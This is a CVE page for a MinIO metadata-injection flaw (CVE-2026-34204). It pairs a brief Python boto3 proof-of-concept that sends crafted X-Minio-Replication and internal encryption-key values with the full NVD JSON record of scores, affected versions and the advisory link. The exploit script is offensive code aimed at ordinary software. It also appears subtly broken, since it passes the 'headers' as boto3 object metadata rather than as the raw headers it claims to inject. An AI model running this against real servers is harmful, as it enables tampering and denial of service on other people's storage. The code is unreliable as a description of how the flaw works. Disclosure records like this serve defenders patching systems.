CVE-2026-34204

import boto3 from botocore.client import Config # CVE-2026-34204 PoC # Exploit: Inject internal metadata via X-Minio-Replication headers s3 = boto3.client('s3', endpoint_url='http://<target-minio>:9000', aws_access_key_id='<access_key>', aws_secret_access_key='<secret_key>') bucket_name = 'test-bucket' object_key = 'exploit-test.txt' # Craft the malicious headers # The vulnerability lies in processing X-Minio-Replication-* headers headers = { 'X-Minio-Replication-Request': 'true', 'X-Minio-Internal-Encryption-Key': 'malicious-key-id' } try: # PutObject with injected headers s3.put_object(Bucket=bucket_name, Key=object_key, Body='PoC content', Metadata=headers) print(f"[+] Successfully injected metadata into {object_key}") except Exception as e: print(f"[-] Exploit failed: {e}")

{"cve": {"id": "CVE-2026-34204", "sourceIdentifier": "[email protected]", "published": "2026-03-31T20:16:28.583", "lastModified": "2026-04-07T16:06:00.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MinIO is a high-performance object storage system. Prior to version RELEASE.2026-03-26T21-24-40Z, a flaw in extractMetadataFromMime() allows any authenticated user with s3:PutObject permission to inject internal server-side encryption metadata into objects by sending crafted X-Minio-Replication-* headers on a normal PutObject request. This issue has been patched in version RELEASE.2026-03-26T21-24-40Z."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-03-26t21-24-40z", "matchCriteriaId": "47E11179-FE31-42F4-AA7A-E8E78BA4BB3E"}]}]}], "references": [{"url": "https://github.com/minio/minio/security/advisories/GHSA-3rh2-v3gr-35p9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}